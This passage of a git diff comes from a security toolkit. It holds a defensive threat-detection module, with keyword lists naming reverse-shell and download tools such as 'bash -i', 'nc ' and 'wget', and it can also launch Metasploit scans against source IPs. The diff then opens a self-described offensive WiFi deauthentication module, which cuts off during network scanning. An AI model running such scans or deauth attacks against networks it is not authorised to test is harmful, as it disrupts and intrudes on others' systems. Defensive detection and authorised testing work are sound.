1337: "Common backdoor", + 31337: "Back Orifice", + 6667: "IRC (C2)", + 6666: "Common backdoor", + } + + established_foreign = [] + listeners = [] + + for line in output.split('\n'): + if 'ESTABLISHED' in line: + # Extract foreign address + match = re.search(r'(\d+\.\d+\.\d+\.\d+):(\d+)\s+(\d+\.\d+\.\d+\.\d+):(\d+)', line) + if match: + local_ip, local_port, foreign_ip, foreign_port = match.groups() + if not foreign_ip.startswith('127.'): + established_foreign.append((foreign_ip, foreign_port, line)) + + if 'LISTEN' in line: + match = re.search(r':(\d+)\s', line) + if match: + port = int(match.group(1)) + if port in suspicious_ports: + self.alert("Suspicious Listener", f"Port {port} ({suspicious_ports[port]})", "high") + listeners.append(port) + + # Check for connections to suspicious ports + for ip, port, line in established_foreign: + port_int = int(port) + if port_int in suspicious_ports: + self.alert("Suspicious Connection", f"Connected to {ip}:{port} ({suspicious_ports[port_int]})", "high") + + self.print_status(f"Found {len(established_foreign)} external connections, {len(listeners)} listeners", "info") + + # Show top foreign connections + if established_foreign: + print(f"\n{Colors.CYAN}External Connections:{Colors.RESET}") + seen = set() + for ip, port, _ in established_foreign[:10]: + if ip not in seen: + print(f" {ip}:{port}") + seen.add(ip) + + def check_login_anomalies(self): + """Check for suspicious login activity - quick summary version.""" + print(f"\n{Colors.BOLD}Checking Login Activity...{Colors.RESET}\n") + + # Parse logs + attempts = self.parse_auth_logs() + self.login_attempts = attempts + + if not attempts: + self.print_status("No failed login attempts found or could not read logs", "info") + return + + total_attempts = sum(a.count for a in attempts.values()) + + if total_attempts > 100: + self.alert("Brute Force Detected", f"{total_attempts} failed login attempts from {len(attempts)} IPs", "high") + elif total_attempts > 20: + self.alert("Elevated Failed Logins", f"{total_attempts} failed attempts from {len(attempts)} IPs", "medium") + else: + self.print_status(f"{total_attempts} failed login attempts from {len(attempts)} unique IPs", "info") + + # Show top 5 IPs + sorted_attempts = sorted(attempts.values(), key=lambda x: x.count, reverse=True)[:5] + print(f"\n{Colors.CYAN}Top Source IPs:{Colors.RESET}") + for attempt in sorted_attempts: + print(f" {attempt.ip}: {attempt.count} attempts") + + # Successful root logins + success, output = self.run_cmd("last -n 20 root 2>/dev/null") + if success and output and "root" in output: + lines = [l for l in output.split('\n') if l.strip() and 'wtmp' not in l] + if lines: + print(f"\n{Colors.CYAN}Recent root logins:{Colors.RESET}") + for line in lines[:5]: + print(f" {line}") + + def login_anomalies_menu(self): + """Interactive login anomalies menu with detailed IP information.""" + self._raw_auth_logs = [] + + while True: + clear_screen() + display_banner() + + print(f"{Colors.MAGENTA}{Colors.BOLD} Login Anomalies Analysis{Colors.RESET}") + print(f"{Colors.DIM} Investigate failed login attempts{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Show cached data or prompt to scan + if not self.login_attempts: + print(f" {Colors.YELLOW}No data loaded. Run a scan first.{Colors.RESET}") + print() + print(f" {Colors.MAGENTA}[1]{Colors.RESET} Quick Scan (no GeoIP)") + print(f" {Colors.MAGENTA}[2]{Colors.RESET} Full Scan (with GeoIP lookup)") + else: + # Show summary + total_attempts = sum(a.count for a in self.login_attempts.values()) + unique_ips = len(self.login_attempts) + + if total_attempts > 100: + status_color = Colors.RED + status_text = "HIGH THREAT" + elif total_attempts > 20: + status_color = Colors.YELLOW + status_text = "MODERATE" + else: + status_color = Colors.GREEN + status_text = "LOW" + + print(f" Status: {status_color}{status_text}{Colors.RESET}") + print(f" Total Failed Attempts: {Colors.CYAN}{total_attempts}{Colors.RESET}") + print(f" Unique IPs: {Colors.CYAN}{unique_ips}{Colors.RESET}") + print() + + # Show IPs as options + print(f" {Colors.BOLD}Source IPs (sorted by attempts):{Colors.RESET}") + print() + + sorted_attempts = sorted(self.login_attempts.values(), key=lambda x: x.count, reverse=True) + + for i, attempt in enumerate(sorted_attempts[:15], 1): + # Build info line + timestamp_str = "" + if attempt.last_attempt: + timestamp_str = attempt.last_attempt.strftime("%Y-%m-%d %H:%M") + + location_str = "" + if attempt.country: + location_str = f"{attempt.country}" + if attempt.city and attempt.city != 'Unknown': + location_str += f"/{attempt.city}" + + host_str = "" + if attempt.hostname: + host_str = f"({attempt.hostname[:30]})" + + # Color based on attempt count + if attempt.count > 50: + count_color = Colors.RED + elif attempt.count > 10: + count_color = Colors.YELLOW + else: + count_color = Colors.WHITE + + print(f" {Colors.MAGENTA}[{i:2}]{Colors.RESET} {attempt.ip:16} " + f"{count_color}{attempt.count:4} attempts{Colors.RESET}", end='') + + if timestamp_str: + print(f" {Colors.DIM}Last: {timestamp_str}{Colors.RESET}", end='') + if location_str: + print(f" {Colors.CYAN}{location_str}{Colors.RESET}", end='') + + print() + + if len(sorted_attempts) > 15: + print(f" {Colors.DIM}... and {len(sorted_attempts) - 15} more IPs{Colors.RESET}") + + print() + print(f" {Colors.MAGENTA}[R]{Colors.RESET} Rescan (Quick)") + print(f" {Colors.MAGENTA}[F]{Colors.RESET} Full Rescan (with GeoIP)") + print(f" {Colors.MAGENTA}[L]{Colors.RESET} View Raw Auth Log") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0': + break + + elif choice in ['1', 'r'] and (not self.login_attempts or choice == 'r'): + # Quick scan + print(f"\n{Colors.CYAN}[*] Scanning authentication logs...{Colors.RESET}") + self.login_attempts = self.parse_auth_logs() + if self.login_attempts: + self.print_status(f"Found {len(self.login_attempts)} unique IPs", "success") + else: + self.print_status("No failed login attempts found", "info") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice in ['2', 'f'] and (not self.login_attempts or choice == 'f'): + # Full scan with GeoIP + print(f"\n{Colors.CYAN}[*] Scanning authentication logs...{Colors.RESET}") + self.login_attempts = self.parse_auth_logs() + if self.login_attempts: + self.print_status(f"Found {len(self.login_attempts)} unique IPs", "success") + print(f"\n{Colors.CYAN}[*] Fetching GeoIP and hostname data...{Colors.RESET}") + self.enrich_login_attempts(self.login_attempts) + self.print_status("GeoIP enrichment complete", "success") + else: + self.print_status("No failed login attempts found", "info") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == 'l' and self.login_attempts: + # View raw log + self.view_raw_auth_log() + + elif choice.isdigit() and self.login_attempts: + idx = int(choice) + sorted_attempts = sorted(self.login_attempts.values(), key=lambda x: x.count, reverse=True) + if 1 <= idx <= len(sorted_attempts): + self.ip_detail_menu(sorted_attempts[idx - 1]) + + def view_raw_auth_log(self): + """Display raw authentication log entries.""" + clear_screen() + display_banner() + + print(f"{Colors.MAGENTA}{Colors.BOLD} Raw Authentication Log{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + if not hasattr(self, '_raw_auth_logs') or not self._raw_auth_logs: + print(f" {Colors.YELLOW}No log data available. Run a scan first.{Colors.RESET}") + else: + # Show last 100 entries by default + log_lines = self._raw_auth_logs[-100:] + for line in log_lines: + # Highlight IPs + highlighted = re.sub( + r'(\d+\.\d+\.\d+\.\d+)', + f'{Colors.CYAN}\\1{Colors.RESET}', + line + ) + # Highlight "failed" + highlighted = re.sub( + r'(failed|invalid|authentication failure)', + f'{Colors.RED}\\1{Colors.RESET}', + highlighted, + flags=re.IGNORECASE + ) + print(f" {highlighted}") + + print() + print(f" {Colors.DIM}Showing last {len(log_lines)} of {len(self._raw_auth_logs)} entries{Colors.RESET}") + + print() + input(f"{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def ip_detail_menu(self, attempt: LoginAttempt): + """Show detailed information and options for a specific IP.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.MAGENTA}{Colors.BOLD} IP Investigation: {attempt.ip}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Basic info + print(f" {Colors.BOLD}Connection Statistics:{Colors.RESET}") + print(f" Failed Attempts: {Colors.RED}{attempt.count}{Colors.RESET}") + if attempt.last_attempt: + print(f" Last Attempt: {Colors.CYAN}{attempt.last_attempt.strftime('%Y-%m-%d %H:%M:%S')}{Colors.RESET}") + if attempt.usernames: + usernames_str = ', '.join(attempt.usernames[:10]) + if len(attempt.usernames) > 10: + usernames_str += f" (+{len(attempt.usernames) - 10} more)" + print(f" Targeted Users: {Colors.YELLOW}{usernames_str}{Colors.RESET}") + print() + + # Network info + print(f" {Colors.BOLD}Network Information:{Colors.RESET}") + print(f" IP Address: {Colors.CYAN}{attempt.ip}{Colors.RESET}") + + if attempt.hostname: + print(f" Hostname: {Colors.CYAN}{attempt.hostname}{Colors.RESET}") + else: + # Try to resolve now if not cached + hostname = self.get_hostname(attempt.ip) + if hostname: + attempt.hostname = hostname + print(f" Hostname: {Colors.CYAN}{hostname}{Colors.RESET}") + else: + print(f" Hostname: {Colors.DIM}(no reverse DNS){Colors.RESET}") + + print() + + # GeoIP info + print(f" {Colors.BOLD}Geolocation:{Colors.RESET}") + if attempt.geo_data: + geo = attempt.geo_data + if geo.get('country'): + country_str = geo.get('country', 'Unknown') + if geo.get('country_code'): + country_str += f" ({geo['country_code']})" + print(f" Country: {Colors.CYAN}{country_str}{Colors.RESET}") + if geo.get('region'): + print(f" Region: {Colors.CYAN}{geo['region']}{Colors.RESET}") + if geo.get('city') and geo.get('city') != 'Unknown': + print(f" City: {Colors.CYAN}{geo['city']}{Colors.RESET}") + if geo.get('isp'): + print(f" ISP: {Colors.CYAN}{geo['isp']}{Colors.RESET}") + if geo.get('org') and geo.get('org') != geo.get('isp'): + print(f" Organization: {Colors.CYAN}{geo['org']}{Colors.RESET}") + if geo.get('asn'): + print(f" ASN: {Colors.CYAN}{geo['asn']}{Colors.RESET}") + if geo.get('latitude') and geo.get('longitude'): + print(f" Coordinates: {Colors.DIM}{geo['latitude']}, {geo['longitude']}{Colors.RESET}") + print(f" Map: {Colors.DIM}https://www.google.com/maps/@{geo['latitude']},{geo['longitude']},12z{Colors.RESET}") + elif attempt.country: + print(f" Country: {Colors.CYAN}{attempt.country}{Colors.RESET}") + if attempt.city: + print(f" City: {Colors.CYAN}{attempt.city}{Colors.RESET}") + if attempt.isp: + print(f" ISP: {Colors.CYAN}{attempt.isp}{Colors.RESET}") + else: + print(f" {Colors.DIM}(GeoIP data not loaded - run Full Scan){Colors.RESET}") + + print() + print(f" {Colors.BOLD}Actions:{Colors.RESET}") + print() + print(f" {Colors.MAGENTA}[G]{Colors.RESET} Fetch/Refresh GeoIP Data") + print(f" {Colors.MAGENTA}[W]{Colors.RESET} Whois Lookup") + print(f" {Colors.MAGENTA}[P]{Colors.RESET} Ping Target") + print() + print(f" {Colors.BOLD}Metasploit Recon Modules:{Colors.RESET}") + print() + + for i, module in enumerate(MSF_RECON_MODULES, 1): + print(f" {Colors.RED}[{i:2}]{Colors.RESET} {module['name']}") + print(f" {Colors.DIM}{module['description']}{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0': + break + + elif choice == 'g': + # Refresh GeoIP + print(f"\n{Colors.CYAN}[*] Fetching GeoIP data for {attempt.ip}...{Colors.RESET}") + geo_data = self.get_geoip(attempt.ip) + if geo_data: + attempt.geo_data = geo_data + attempt.country = geo_data.get('country') + attempt.city = geo_data.get('city') + attempt.isp = geo_data.get('isp') + self.print_status("GeoIP data updated", "success") + else: + self.print_status("Could not fetch GeoIP data", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == 'w': + # Whois lookup + print(f"\n{Colors.CYAN}[*] Running whois lookup for {attempt.ip}...{Colors.RESET}\n") + success, output = self.run_cmd(f"whois {attempt.ip} 2>/dev/null | head -60") + if success and output: + print(output) + else: + self.print_status("Whois lookup failed or not available", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == 'p': + # Ping + print(f"\n{Colors.CYAN}[*] Pinging {attempt.ip}...{Colors.RESET}\n") + success, output = self.run_cmd(f"ping -c 4 {attempt.ip} 2>&1") + print(output) + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice.isdigit(): + idx = int(choice) + if 1 <= idx <= len(MSF_RECON_MODULES): + self.run_msf_recon(attempt.ip, MSF_RECON_MODULES[idx - 1]) + + + def run_msf_recon(self, target_ip: str, module_info: Dict): + """Run a Metasploit recon module against the target IP.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Metasploit Recon: {module_info['name']}{Colors.RESET}") + print(f"{Colors.DIM} Target: {target_ip}{Colors.RESET}") + print(f"{Colors.DIM} Module: {module_info['module']}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Use the centralized MSF interface + try: + from core.msf_interface import get_msf_interface + except ImportError: + self.print_status("Metasploit interface not available", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + msf = get_msf_interface() + + # Ensure connected + connected, msg = msf.ensure_connected() + if not connected: + print(f"{Colors.YELLOW}[!] {msg}{Colors.RESET}") + print() + print(f" To connect, ensure msfrpcd is running:") + print(f" {Colors.DIM}msfrpcd -P yourpassword -S{Colors.RESET}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Build options + options = {'RHOSTS': target_ip} + options.update(module_info.get('options', {})) + + # Warn about SYN scan known issues + if 'syn' in module_info['module'].lower(): + print(f"{Colors.YELLOW}[!] Note: SYN scan may produce errors if:{Colors.RESET}") + print(f" - Target has firewall filtering responses") + print(f" - Network NAT/filtering interferes with raw packets") + print(f" Consider TCP scan (option 1) for more reliable results.") + print() + + # Show what we're about to run + print(f"{Colors.CYAN}[*] Module Options:{Colors.RESET}") + for key, value in options.items(): + print(f" {key}: {value}") + print() + + confirm = input(f"{Colors.YELLOW}Execute module? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + # Execute via the interface + print(f"\n{Colors.CYAN}[*] Executing {module_info['name']}...{Colors.RESET}") + + result = msf.run_module(module_info['module'], options, timeout=120) + + # Display results using the interface's formatter + msf.print_result(result, verbose=False) + + # Add SYN-specific error guidance + if result.error_count > 0 and 'syn' in module_info['module'].lower(): + print(f"\n{Colors.DIM} SYN scan errors are often caused by:{Colors.RESET}") + print(f"{Colors.DIM} - Target firewall blocking responses{Colors.RESET}") + print(f"{Colors.DIM} - Network filtering/NAT issues{Colors.RESET}") + print(f"{Colors.DIM} - Known MSF SYN scanner bugs{Colors.RESET}") + print(f"{Colors.DIM} Try using TCP scan (option 1) instead.{Colors.RESET}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def check_file_integrity(self): + """Check for recently modified critical files.""" + print(f"\n{Colors.BOLD}Checking File Integrity...{Colors.RESET}\n") + + critical_paths = [ + "/etc/passwd", + "/etc/shadow", + "/etc/sudoers", + "/etc/ssh/sshd_config", + "/etc/crontab", + "/root/.ssh/authorized_keys", + ] + + recent_threshold = datetime.now() - timedelta(days=7) + + for filepath in critical_paths: + p = Path(filepath) + if p.exists(): + mtime = datetime.fromtimestamp(p.stat().st_mtime) + if mtime > recent_threshold: + self.alert("Recent Modification", f"{filepath} modified {mtime.strftime('%Y-%m-%d %H:%M')}", "medium") + else: + self.print_status(f"{filepath} - OK", "success") + + # Check for new SUID binaries + print(f"\n{Colors.CYAN}Checking SUID binaries...{Colors.RESET}") + success, output = self.run_cmd("find /usr -perm -4000 -type f 2>/dev/null") + if success: + suid_files = output.split('\n') + known_suid = ['sudo', 'su', 'passwd', 'ping', 'mount', 'umount', 'chsh', 'newgrp'] + for f in suid_files: + if f: + name = Path(f).name + if not any(k in name for k in known_suid): + self.alert("Unknown SUID", f"{f}", "medium") + + def check_scheduled_tasks(self): + """Check cron jobs and scheduled tasks.""" + print(f"\n{Colors.BOLD}Checking Scheduled Tasks...{Colors.RESET}\n") + + # System crontab + crontab = Path("/etc/crontab") + if crontab.exists(): + content = crontab.read_text() + # Look for suspicious commands + suspicious = ['curl', 'wget', 'nc ', 'bash -i', 'python -c', 'perl -e', 'base64'] + for sus in suspicious: + if sus in content: + self.alert("Suspicious Cron", f"Found '{sus}' in /etc/crontab", "high") + + # User crontabs + success, output = self.run_cmd("ls /var/spool/cron/crontabs/ 2>/dev/null") + if success and output: + users = output.split('\n') + self.print_status(f"Found crontabs for: {', '.join(users)}", "info") + + # Check /etc/cron.d + cron_d = Path("/etc/cron.d") + if cron_d.exists(): + for f in cron_d.iterdir(): + if f.is_file(): + content = f.read_text() + for sus in ['curl', 'wget', 'nc ', 'bash -i']: + if sus in content: + self.alert("Suspicious Cron", f"Found '{sus}' in {f}", "medium") + + def check_rootkits(self): + """Basic rootkit detection.""" + print(f"\n{Colors.BOLD}Running Rootkit Checks...{Colors.RESET}\n") + + # Check for hidden files in /tmp + success, output = self.run_cmd("ls -la /tmp/. /tmp/.. 2>/dev/null") + if success: + hidden = re.findall(r'\.\w+', output) + if len(hidden) > 5: + self.alert("Hidden Files", f"Many hidden files in /tmp: {len(hidden)}", "medium") + + # Check for kernel modules + success, output = self.run_cmd("lsmod") + if success: + suspicious_modules = ['rootkit', 'hide', 'stealth', 'sniff'] + for line in output.split('\n'): + for sus in suspicious_modules: + if sus in line.lower(): + self.alert("Suspicious Module", f"Kernel module: {line.split()[0]}", "high") + + # Check for process hiding + success, output = self.run_cmd("ps aux | wc -l") + success2, output2 = self.run_cmd("ls /proc | grep -E '^[0-9]+$' | wc -l") + if success and success2: + ps_count = int(output) + proc_count = int(output2) + if abs(ps_count - proc_count) > 5: + self.alert("Process Hiding", f"Mismatch: ps={ps_count}, /proc={proc_count}", "high") + else: + self.print_status("Process count consistent", "success") + + # Check for common rootkit files + rootkit_files = [ + "/usr/lib/libproc.a", + "/dev/ptyp", + "/dev/ptyq", + "/usr/include/file.h", + "/usr/include/hosts.h", + ] + for f in rootkit_files: + if Path(f).exists(): + self.alert("Rootkit Artifact", f"Suspicious file: {f}", "high") + + self.print_status("Rootkit checks complete", "info") + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.MAGENTA}{Colors.BOLD} Counter Intelligence{Colors.RESET}") + print(f"{Colors.DIM} Threat detection & response{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.BOLD}Quick Scans{Colors.RESET}") + print(f" {Colors.MAGENTA}[1]{Colors.RESET} Full Threat Scan") + print(f" {Colors.MAGENTA}[2]{Colors.RESET} Suspicious Processes") + print(f" {Colors.MAGENTA}[3]{Colors.RESET} Network Analysis") + print(f" {Colors.MAGENTA}[4]{Colors.RESET} Login Anomalies (Quick)") + print(f" {Colors.MAGENTA}[5]{Colors.RESET} File Integrity") + print(f" {Colors.MAGENTA}[6]{Colors.RESET} Scheduled Tasks") + print(f" {Colors.MAGENTA}[7]{Colors.RESET} Rootkit Detection") + print() + print(f" {Colors.BOLD}Investigation Tools{Colors.RESET}") + print(f" {Colors.MAGENTA}[8]{Colors.RESET} Login Anomalies Analysis {Colors.CYAN}(Interactive){Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def full_scan(self): + """Run all threat checks.""" + self.threats = [] + self.check_suspicious_processes() + self.check_network_connections() + self.check_login_anomalies() + self.check_file_integrity() + self.check_scheduled_tasks() + self.check_rootkits() + + # Summary + high = sum(1 for t in self.threats if t['severity'] == 'high') + medium = sum(1 for t in self.threats if t['severity'] == 'medium') + + print(f"\n{Colors.BOLD}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Threat Summary:{Colors.RESET}") + print(f" {Colors.RED}High: {high}{Colors.RESET}") + print(f" {Colors.YELLOW}Medium: {medium}{Colors.RESET}") + + if high > 0: + print(f"\n{Colors.RED}CRITICAL: Immediate investigation required!{Colors.RESET}") + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + self.threats = [] + + if choice == "0": + break + elif choice == "1": + self.full_scan() + elif choice == "2": + self.check_suspicious_processes() + elif choice == "3": + self.check_network_connections() + elif choice == "4": + self.check_login_anomalies() + elif choice == "5": + self.check_file_integrity() + elif choice == "6": + self.check_scheduled_tasks() + elif choice == "7": + self.check_rootkits() + elif choice == "8": + self.login_anomalies_menu() + continue # Skip the "Press Enter" prompt for interactive menu + + if choice in ["1", "2", "3", "4", "5", "6", "7"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + Counter().run() + + +if __name__ == "__main__": + run() diff --git a/modules/deauth.py b/modules/deauth.py new file mode 100644 index 0000000..4c09b87 --- /dev/null +++ b/modules/deauth.py @@ -0,0 +1,1287 @@ +"""AUTARCH Deauth Attack Module + +Targeted and broadcast WiFi deauthentication, multi-target attacks, +continuous mode, channel hopping, and client discovery for wireless +assessments. Designed for Raspberry Pi and SBCs with monitor-mode adapters. +""" + +DESCRIPTION = "WiFi deauthentication — targeted & broadcast attacks" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import sys +import json +import time +import shutil +import signal +import struct +import threading +import subprocess +from pathlib import Path +from datetime import datetime +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +sys.path.insert(0, str(Path(__file__).parent.parent)) +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + RED = YELLOW = GREEN = CYAN = WHITE = DIM = RESET = BOLD = MAGENTA = "" + def clear_screen(): pass + def display_banner(): pass + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_deauth(): + """Return singleton DeauthAttack instance.""" + global _instance + if _instance is None: + _instance = DeauthAttack() + return _instance + + +# ── Helpers ────────────────────────────────────────────────────────────────── + +MAC_RE = re.compile(r'^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$') +BROADCAST = 'FF:FF:FF:FF:FF:FF' + + +def _validate_mac(mac: str) -> bool: + return bool(MAC_RE.match(mac)) + + +def _run(cmd, timeout=30) -> tuple: + """Run a command, return (success, stdout).""" + try: + result = subprocess.run( + cmd, shell=isinstance(cmd, str), + capture_output=True, text=True, timeout=timeout + ) + return result.returncode == 0, result.stdout.strip() + except subprocess.TimeoutExpired: + return False, 'Command timed out' + except Exception as e: + return False, str(e) + + +def _run_bg(cmd) -> Optional[subprocess.Popen]: + """Start a background process, return Popen or None.""" + try: + proc = subprocess.Popen( + cmd, shell=isinstance(cmd, str), + stdout=subprocess.PIPE, stderr=subprocess.PIPE, + text=True + ) + return proc + except Exception: + return None + + +# ── DeauthAttack Class ─────────────────────────────────────────────────────── + +class DeauthAttack: + """WiFi deauthentication attack toolkit.""" + + def __init__(self): + # Data directory + data_root = get_data_dir() + if isinstance(data_root, Path): + data_root = str(data_root) + self.data_dir = os.path.join(data_root, 'deauth') + os.makedirs(self.data_dir, exist_ok=True) + + self.history_path = os.path.join(self.data_dir, 'history.json') + + # Tool paths + self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng') + self.airmon = find_tool('airmon-ng') or shutil.which('airmon-ng') + self.airodump = find_tool('airodump-ng') or shutil.which('airodump-ng') + self.mdk3 = find_tool('mdk3') or shutil.which('mdk3') + self.mdk4 = find_tool('mdk4') or shutil.which('mdk4') + self.iw = shutil.which('iw') + self.ip_cmd = shutil.which('ip') + self.iwconfig = shutil.which('iwconfig') + + # Scapy availability + self._scapy = None + try: + from scapy.all import ( + Dot11, Dot11Deauth, RadioTap, sendp, sniff, conf + ) + self._scapy = True + except ImportError: + self._scapy = False + + # Attack state + self._continuous_thread: Optional[threading.Thread] = None + self._continuous_running = False + self._continuous_target = {} + self._continuous_frames_sent = 0 + self._continuous_start_time = 0.0 + + # Channel hopping state + self._hop_thread: Optional[threading.Thread] = None + self._hop_running = False + self._current_channel = 0 + + # Attack history + self._history: List[Dict] = [] + self._load_history() + + # ── Tool Status ────────────────────────────────────────────────────── + + def get_tools_status(self) -> Dict[str, Any]: + """Return availability of all tools used by this module.""" + return { + 'aireplay-ng': self.aireplay is not None, + 'airmon-ng': self.airmon is not None, + 'airodump-ng': self.airodump is not None, + 'mdk3': self.mdk3 is not None, + 'mdk4': self.mdk4 is not None, + 'iw': self.iw is not None, + 'ip': self.ip_cmd is not None, + 'iwconfig': self.iwconfig is not None, + 'scapy': self._scapy is True, + } + + # ── Interface Management ───────────────────────────────────────────── + + def get_interfaces(self) -> List[Dict]: + """List wireless interfaces with mode info.""" + interfaces = [] + + # Try iw dev first + if self.iw: + try: + out = subprocess.check_output( + [self.iw, 'dev'], text=True, timeout=5 + ) + iface = None + for line in out.splitlines(): + line = line.strip() + if line.startswith('Interface'): + if iface: + interfaces.append(iface) + iface = { + 'name': line.split()[-1], + 'mode': 'managed', + 'channel': 0, + 'mac': '', + 'phy': '' + } + elif iface: + if line.startswith('type'): + iface['mode'] = line.split()[-1] + elif line.startswith('channel'): + try: + iface['channel'] = int(line.split()[1]) + except (ValueError, IndexError): + pass + elif line.startswith('addr'): + iface['mac'] = line.split()[-1] + if iface: + interfaces.append(iface) + except Exception: + pass + + # Fallback to iwconfig + if not interfaces and self.iwconfig: + try: + out = subprocess.check_output( + [self.iwconfig], text=True, + stderr=subprocess.DEVNULL, timeout=5 + ) + for block in out.split('\n\n'): + if 'IEEE 802.11' in block or 'ESSID' in block: + name = block.split()[0] + mode = 'managed' + if 'Mode:Monitor' in block: + mode = 'monitor' + elif 'Mode:Master' in block: + mode = 'master' + ch_m = re.search(r'Channel[:\s]*(\d+)', block) + ch = int(ch_m.group(1)) if ch_m else 0 + mac_m = re.search( + r'HWaddr\s+([\da-fA-F:]{17})', block + ) + mac = mac_m.group(1) if mac_m else '' + interfaces.append({ + 'name': name, 'mode': mode, + 'channel': ch, 'mac': mac, 'phy': '' + }) + except Exception: + pass + + # Last resort: /sys/class/net + if not interfaces: + try: + sys_net = Path('/sys/class/net') + if sys_net.exists(): + for d in sys_net.iterdir(): + if (d / 'wireless').exists() or (d / 'phy80211').exists(): + interfaces.append({ + 'name': d.name, 'mode': 'unknown', + 'channel': 0, 'mac': '', 'phy': '' + }) + except Exception: + pass + + return interfaces + + def enable_monitor(self, interface: str) -> Dict: + """Put interface into monitor mode. + + Tries airmon-ng first, falls back to iw. + Returns dict with ok, interface (monitor name), and message. + """ + if not interface: + return {'ok': False, 'error': 'No interface specified'} + + # Try airmon-ng + if self.airmon: + try: + # Kill interfering processes + subprocess.run( + [self.airmon, 'check', 'kill'], + capture_output=True, text=True, timeout=10 + ) + result = subprocess.run( + [self.airmon, 'start', interface], + capture_output=True, text=True, timeout=15 + ) + output = result.stdout + result.stderr + # Detect the monitor interface name + mon_match = re.search( + r'\(monitor mode (?:vif )?enabled(?: on| for) \[?(\w+)\]?\)', + output + ) + if mon_match: + mon_iface = mon_match.group(1) + elif os.path.isdir(f'/sys/class/net/{interface}mon'): + mon_iface = f'{interface}mon' + else: + mon_iface = interface + + return { + 'ok': True, + 'interface': mon_iface, + 'message': f'Monitor mode enabled on {mon_iface}' + } + except Exception as e: + return {'ok': False, 'error': f'airmon-ng failed: {e}'} + + # Fallback: iw + if self.iw and self.ip_cmd: + try: + subprocess.run( + [self.ip_cmd, 'link', 'set', interface, 'down'], + capture_output=True, timeout=5 + ) + result = subprocess.run( + [self.iw, 'dev', interface, 'set', 'type', 'monitor'], + capture_output=True, text=True, timeout=5 + ) + subprocess.run( + [self.ip_cmd, 'link', 'set', interface, 'up'], + capture_output=True, timeout=5 + ) + if result.returncode == 0: + return { + 'ok': True, + 'interface': interface, + 'message': f'Monitor mode enabled on {interface} (via iw)' + } + return {'ok': False, 'error': result.stderr.strip() or 'iw set monitor failed'} + except Exception as e: + return {'ok': False, 'error': f'iw failed: {e}'} + + return {'ok': False, 'error': 'No tool available (need airmon-ng or iw+ip)'} + + def disable_monitor(self, interface: str) -> Dict: + """Restore interface to managed mode.""" + if not interface: + return {'ok': False, 'error': 'No interface specified'} + + # Try airmon-ng + if self.airmon: + try: + result = subprocess.run( + [self.airmon, 'stop', interface], + capture_output=True, text=True, timeout=15 + ) + output = result.stdout + result.stderr + managed_match = re.search( + r'\(monitor mode disabled(?: on)? (\w+)\)', output + ) + managed_name = managed_match.group(1) if managed_match else interface.replace('mon', '') + return { + 'ok': True, + 'interface': managed_name, + 'message': f'Managed mode restored on {managed_name}' + } + except Exception as e: + return {'ok': False, 'error': f'airmon-ng stop failed: {e}'} + + # Fallback: iw + if self.iw and self.ip_cmd: + try: + subprocess.run( + [self.ip_cmd, 'link', 'set', interface, 'down'], + capture_output=True, timeout=5 + ) + result = subprocess.run( + [self.iw, 'dev', interface, 'set', 'type', 'managed'], + capture_output=True, text=True, timeout=5 + ) + subprocess.run( + [self.ip_cmd, 'link', 'set', interface, 'up'], + capture_output=True, timeout=5 + ) + if result.returncode == 0: + return { + 'ok': True, + 'interface': interface, + 'message': f'Managed mode restored on {interface}' + } + return {'ok': False, 'error': result.stderr.strip() or 'iw set managed failed'} + except Exception as e: + return {'ok': False, 'error': f'iw failed: {e}'} + + return {'ok': False, 'error': 'No tool available'} + + # ── Scanning ───────────────────────────────────────────────────────── + + def scan_networks(self, interface: str, duration: int = 10) -> List[Dict]: + """Passive scan for access points. + + Uses airodump-ng CSV output or scapy sniffing. + Returns list of dicts: bssid, ssid, channel, encryption, signal, clients_count. + """ + if not interface: + return [] + + networks = [] + + # Method 1: airodump-ng + if self.airodump: + tmp_prefix = os.path.join(self.data_dir, f'scan_{int(time.time())}') + try: + proc = 